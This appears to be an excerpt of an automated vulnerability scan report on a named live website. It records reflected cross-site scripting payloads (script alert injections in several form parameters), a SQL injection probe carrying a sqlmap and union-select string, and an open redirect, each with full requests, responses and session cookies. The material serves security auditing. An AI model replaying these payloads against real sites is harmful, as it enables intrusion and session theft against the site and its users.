HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:06:45 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5959
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
<input type="text" name="calendar" id="calendar" value="2016-12-04umbmn"><script>alert(1)</script>ggda2" size="10" onchange="fechaConsulta()" />
...[SNIP]...
2.7. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar parameter] 
Previous  Next 
1.108 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/index.php


1.109 Issue detail
The value of the calendar request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload gv859"><script>alert(1)</script>vq3uv was submitted in the calendar parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.110 Request 1
POST /livehelp/reportes/index.php?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/index.php?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=gv859"><script>alert(1)<%2fscript>vq3uv&calendar2=2016-12-11

1.111 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:06:49 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5939
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
<a href="index.php?action=excel_total_encuestas&desde=gv859"><script>alert(1)</script>vq3uv&hasta=2016-12-11">
...[SNIP]...
2.8. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar2 parameter] 
Previous  Next 
1.112 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/index.php


1.113 Issue detail
The value of the calendar2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload nccje"><script>alert(1)</script>yz3bc was submitted in the calendar2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.114 Request 1
POST /livehelp/reportes/index.php?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/index.php?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04&calendar2=2016-12-11nccje"><script>alert(1)<%2fscript>yz3bc
1.115 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:28 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5959
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
<input type="text" name="calendar2" id="calendar2" value="2016-12-11nccje"><script>alert(1)</script>yz3bc" size="10" onchange="fechaConsulta()" />
...[SNIP]...
2.9. http://www.grupoq.co.cr/livehelp/reportes/index.php [calendar2 parameter] 
Previous  Next 
1.116 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/reportes/index.php


1.117 Issue detail
The value of the calendar2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload rn5er"><script>alert(1)</script>vpaqj was submitted in the calendar2 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.118 Request 1
POST /livehelp/reportes/index.php?action=total_encuestas HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/reportes/index.php?action=total_encuestas
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

calendar=2016-12-04&calendar2=rn5er"><script>alert(1)<%2fscript>vpaqj
1.119 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 10:07:32 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5939
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" conte
...[SNIP]...
<a href="index.php?action=excel_total_encuestas&desde=2016-12-04&hasta=rn5er"><script>alert(1)</script>vpaqj">
...[SNIP]...
2.10. http://www.grupoq.co.cr/qrm/agenda.php [id parameter] 
Previous  Next 
1.120 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/agenda.php


1.121 Issue detail
The value of the id request parameter is copied into the value of an HTML tag attribute which is an event handler and is encapsulated in double quotation marks. The payload 19215&apos;;alert(1)//460 was submitted in the id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that the input is echoed into an existing event handler within the response. JavaScript injected into this context will only execute when the relevant event occurs. This may require some action by the victim user, and may hinder exploitation. It may be possible to manually fine tune an attack to increase the likelihood that the event occurs. 

1.122 Remediation detail
Echoing user-controllable data within an event handler is inherently dangerous and can make XSS attacks difficult to prevent. The defense of HTML-encoding user-controllable data is not effective in this context, because browsers will HTML-decode the event handler string before executing it as script. If at all possible, the application should avoid echoing user data within this context. 
1.123 Request 1
GET /qrm/agenda.php?&id=119215%26apos%3b%3balert(1)%2f%2f460 HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.124 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:48:53 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 7352
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input type="button" id="refrescar" value="Refrescar" name="referscar" onclick="ref('119215&apos;;alert(1)//460');"/>
...[SNIP]...
2.11. http://www.grupoq.co.cr/qrm/index.php [inventario parameter] 
Previous  Next 
1.125 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/index.php


1.126 Issue detail
The value of the inventario request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bni59"><script>alert(1)</script>crl25 was submitted in the inventario parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.127 Request 1
POST /qrm/index.php?action=cda_form_evento&flw=1 HTTP/1.1
Host: www.grupoq.co.cr
Content-Length: 43
Accept: text/html, */*
Origin: http://www.grupoq.co.cr
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

id=76165&inventario=0002360776bni59"><script>alert(1)<%2fscript>crl25&procedencia=

1.128 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 07:06:38 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 2195
Connection: close
Content-Type: text/html

<form name="formulario" id="formulario" action="index.php?action=citas_cda&flw=1" enctype="multipart/form-data">
<input type="hidden" id="quita_boton" value="Marcar el vehiculo como listo" />
<inp
...[SNIP]...
<input name="inventario" type="text" id="inventario" size="6" maxlength="20" style="width:150px;" readonly value="0002360776bni59"><script>alert(1)</script>crl25" />
...[SNIP]...
2.12. http://www.grupoq.co.cr/qrm/pos.php [name of an arbitrarily supplied body parameter] 
Previous  Next 
1.129 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/pos.php


1.130 Issue detail
The name of an arbitrarily supplied body parameter is copied into the HTML document as plain text between tags. The payload a5uxl<script>alert(1)</script>s2cyt was submitted in the name of an arbitrarily supplied body parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.131 Request 1
POST /qrm/pos.php HTTP/1.1
Host: www.grupoq.co.cr
Content-Length: 236
Cache-Control: max-age=0
Origin: http://www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2jUEY0VYdbv05WLt
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.grupoq.co.cr/qrm/pos.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

------WebKitFormBoundary2jUEY0VYdbv05WLt
Content-Disposition: form-data; name="numero_tarjeta"

dd
------WebKitFormBoundary2jUEY0VYdbv05WLt
Content-Disposition: form-data; name="a5uxl<script>alert(1)</script>s2cyt"

1
------WebKitFormBoundary2jUEY0VYdbv05WLt--

1.132 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 08:40:53 GMT
Server: Apache
X-Powered-By: PleskLin
Content-Length: 628
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<pre>Array
(
[numero_tarjeta] => dd
[a5uxl<script>alert(1)</script>s2cyt] =>
...[SNIP]...
2.13. http://www.grupoq.co.cr/qrm/pos.php [numero_tarjeta parameter] 
Previous  Next 
1.133 Summary
	
	Severity:  
	High

	
	Confidence:  
	Certain

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/pos.php


1.134 Issue detail
The value of the numero_tarjeta request parameter is copied into the HTML document as plain text between tags. The payload fwb29<script>alert(1)</script>e1zts was submitted in the numero_tarjeta parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. 

1.135 Request 1
POST /qrm/pos.php HTTP/1.1
Host: www.grupoq.co.cr
Content-Length: 147
Cache-Control: max-age=0
Origin: http://www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2jUEY0VYdbv05WLt
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.grupoq.co.cr/qrm/pos.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

------WebKitFormBoundary2jUEY0VYdbv05WLt
Content-Disposition: form-data; name="numero_tarjeta"

ddfwb29<script>alert(1)</script>e1zts
------WebKitFormBoundary2jUEY0VYdbv05WLt--

1.136 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 08:37:56 GMT
Server: Apache
X-Powered-By: PleskLin
Content-Length: 616
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<pre>Array
(
[numero_tarjeta] => ddfwb29<script>alert(1)</script>e1zts
)
<pre>
...[SNIP]...
3. SQL statement in request parameter 
Previous  Next 
1.137 Summary
	
	Severity:  
	Medium

	
	Confidence:  
	Tentative

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/mi_cotizacion/sala_de_ventas.php


1.138 Issue description
HTTP requests sometimes contain SQL syntax. If this is incorporated into a SQL query and executed by the server, then the application is almost certainly vulnerable to SQL injection.
When SQL-like syntax is observed, you should verify whether the request contains a genuine SQL query and whether this is being executed by the server. 

1.139 Issue remediation
Applications should not incorporate any user-controllable data directly into SQL queries. Parameterized queries (also known as prepared statements) should be used to safely insert data into predefined queries. In no circumstances should users be able to control or modify the structure of the SQL query itself.
1.140 References
· Using Burp to Test for Injection Flaws
· SQL Injection Cheat Sheet
· SQL Injection Prevention Cheat Sheet
1.141 Request 1
GET /mi_cotizacion/sala_de_ventas.php?id=158%20sqlmap.py%20-u%20%22http://www.grupoq.co.cr/mi_cotizacion/sala_de_ventas.php?id=158%20union%20select%20name%20from%20sdf HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5
Connection: close

1.142 Response 1
HTTP/1.1 200 OK
Date: Fri, 09 Dec 2016 06:53:31 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 492
Connection: close
Content-Type: text/html

           <table border='0' width='350px' class='mensaje' align='center'>
            <tr>
               <th class='mensaje'>&nbsp;Error SQL</th>
            </tr>
            <tr>
               <td class='mensaje'>&nbsp;Error en la sentencia SQL d
...[SNIP]...
4. Open redirection (reflected DOM-based) 
Previous  Next 
1.143 Summary
	
	Severity:  
	Low

	
	Confidence:  
	Firm

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/qrm/agenda.php


1.144 Issue detail
The application may be vulnerable to reflected DOM-based open redirection.

The value of the id request parameter is copied into a JavaScript string literal. The payload f51vw/w87dg was submitted in the id parameter.

The string containing the payload is then passed to location.href via the following statements:
· ref('1f51vw/w87dg');
· location.href="agenda.php?&id="+id;

1.145 Issue background
Reflected DOM-based vulnerabilities arise when data is copied from a request and echoed into the application's immediate response within a part of the DOM that is then processed in an unsafe way by a client-side script. An attacker can leverage the reflection to control a part of the response (for example, a JavaScript string) that can be used to trigger the DOM-based vulnerability.
DOM-based open redirection arises when a script writes controllable data into the target of a redirection in an unsafe way. An attacker may be able to use the vulnerability to construct a URL that, if visited by another application user, will cause a redirection to an arbitrary external domain. This behavior can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targeting the correct domain and with a valid SSL certificate (if SSL is used), lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.

Note: If an attacker is able to control the start of the string that is passed to the redirection API, then it may be possible to escalate this vulnerability into a JavaScript injection attack, by using a URL with the javascript: pseudo-protocol to execute arbitrary script code when the URL is processed by the browser.

1.146 Issue remediation
The most effective way to avoid DOM-based open redirection vulnerabilities is not to dynamically set redirection targets using data that originated from any untrusted source. If the desired functionality of the application means that this behavior is unavoidable, then defenses must be implemented within the client-side code to prevent malicious data from introducing an arbitrary URL as a redirection target. In general, this is best achieved by using a whitelist of URLs that are permitted redirection targets, and strictly validating the target against this list before performing the redirection.
1.147 Request 1
GET /qrm/agenda.php?&id=1f51vw%2fw87dg HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.grupoq.co.cr/qrm/agenda.php
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); LiveHelpSession=0%3Ben%3B0%3B%3B0%3B3531b7d2b71d60f29675a6f112d9c20a01986d5a%3Bdefault%3B0%3B
Connection: close

1.148 Response 1
HTTP/1.1 200 OK
Date: Mon, 12 Dec 2016 06:49:15 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Connection: close
Content-Type: text/html
Content-Length: 9875

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
aRegresar = function(tipo_log){
       if(tipo_log=='gerente'){
           $('#regresar').css('display','');
       }    
   }    

   $(this).muestraRegresar(''); 
});
function ref(id){
   $(this).esperando();
   if(id != ""){
       location.href="agenda.php?&id="+id;
   }else{
       location.href="agenda.php";
   }
}

</script>
...[SNIP]...
<input type="button" id="refrescar" value="Refrescar" name="referscar" onclick="ref('1f51vw/w87dg');"/>
...[SNIP]...
5. Cookie without HttpOnly flag set 
Previous  Next 
1.149 Summary
	
	Severity:  
	Low

	
	Confidence:  
	Firm

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/mi_cotizacion/sala_de_ventas.php


1.150 Issue detail
The following cookie was issued by the application and does not have the HttpOnly flag set:
· PHPSESSID
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function. 
1.151 Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure makes certain client-side attacks, such as cross-site scripting, slightly harder to exploit by preventing them from trivially capturing the cookie's value via an injected script.
1.152 Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing. 

1.153 References
· Configuring HttpOnly
1.154 Request 1
GET /mi_cotizacion/sala_de_ventas.php?id=158 HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
X-Client-Data: CJW2yQEIorbJAQjEtskBCKmdygE=
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Connection: close

1.155 Response 1
HTTP/1.1 200 OK
Date: Fri, 09 Dec 2016 02:19:13 GMT
Server: Apache
Set-Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: PleskLin
Content-Length: 5463
Connection: close
Content-Type: text/html

<table width="575" border="0" cellspacing="1" cellpadding="1" class="tb_vendedor" style="font-family:Verdana, Geneva, sans-serif; font-size:12px;">
<tr>
   <td colspan="2" style="height:50px; backgr
...[SNIP]...
6. Source code disclosure 
Previous  Next 
1.156 Summary
	
	Severity:  
	Low

	
	Confidence:  
	Tentative

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/livehelp/offline.php


1.157 Issue detail
The application appears to disclose some server-side source code written in PHP. 

1.158 Issue background
Source code intended to be kept server-side can sometimes end up being disclosed to users. Such code may contain sensitive information such as database passwords and secret keys, which may help malicious users formulate attacks against the application.
1.159 Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. Review the cause of the code disclosure and prevent it from happening.
1.160 Request 1
POST /livehelp/offline.php HTTP/1.1
Host: www.grupoq.co.cr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.grupoq.co.cr/livehelp/offline.php?LANGUAGE=en
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; LiveHelpSession=0%3Ben%3B0%3B%3B0%3B%3Bdefault%3B0%3B; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); MoodleSession=spi8gvr0op2gmubbgs71djmna6

LANGUAGE=en&COMPLETE=1&BCC=on&COOKIE=&SECURITY=555-555-0199@example.com&Submit=Enviar+Mensaje&EMAIL=winter@example.com&NAME=Peter+Winter

1.161 Response 1
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2016 08:08:28 GMT
Server: Apache
X-Powered-By: PleskLin
Content-Length: 5227
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>WebChat Repuestos</title>
<link href="styles/styles.p
...[SNIP]...
<span class="small"><?php echo($stardevelop_copyright_label); ?></span>
...[SNIP]...
7. Content type incorrectly stated 
Previous  Next 
1.162 Summary
	
	Severity:  
	Low

	
	Confidence:  
	Firm

	
	Host:  
	http://www.grupoq.co.cr

	
	Path:  
	/mi_cotizacion_honduras/ver_cotizacion.php


1.163 Issue detail
The response states that the content type is application/save-as. However, it actually appears to contain unrecognized content.

If the URL path can be manipulated to end with ".html", the following browsers may interpret the response as HTML:
· Internet Explorer 11
· Internet Explorer 11 (Compatibility Mode)

1.164 Issue background
If a response specifies an incorrect content type then browsers may process the response in unexpected ways. If the content type is specified to be a renderable text-based format, then the browser will usually attempt to interpret the response as being in that format, regardless of the actual contents of the response. Additionally, some other specified content types might sometimes be interpreted as HTML due to quirks in particular browsers. This behavior might lead to otherwise "safe" content such as images being rendered as HTML, enabling cross-site scripting attacks in certain conditions.
The presence of an incorrect content type statement typically only constitutes a security flaw when the affected resource is dynamically generated, uploaded by a user, or otherwise contains user input. You should review the contents of affected responses, and the context in which they appear, to determine whether any vulnerability exists.

1.165 Issue remediation
For every response containing a message body, the application should include a single Content-type header that correctly and unambiguously states the MIME type of the content in the response body.
Additionally, the response header "X-content-type-options: nosniff" should be returned in all responses to reduce the likelihood that browsers will interpret content in a way that disregards the Content-type header.

1.166 Request 1
GET /mi_cotizacion_honduras/ver_cotizacion.php?arch=200812112641_CMPPICKUPSTD0.8LGASTM_2012.pdf HTTP/1.1
Host: www.grupoq.co.cr
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=2u1ct9qv6vf1pg6s3b93doskg5; __utma=193539067.1178774573.1481270457.1481270457.1481270457.1; __utmb=193539067.2.10.1481270457; __utmc=193539067; __utmz=193539067.1481270457.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)
Connection: close

1.167 Response 1
HTTP/1.1 200 OK
Date: Fri, 09 Dec 2016 08:11:13 GMT
Server: Apache
Cache-Control: must-revalidate
Content-Disposition: attachment; filename=200812112641_CMPPICKUPSTD0.8LGASTM_2012.pdf;
Content-Length: 2689481
X-Powered-By: PleskLin
Connection: close
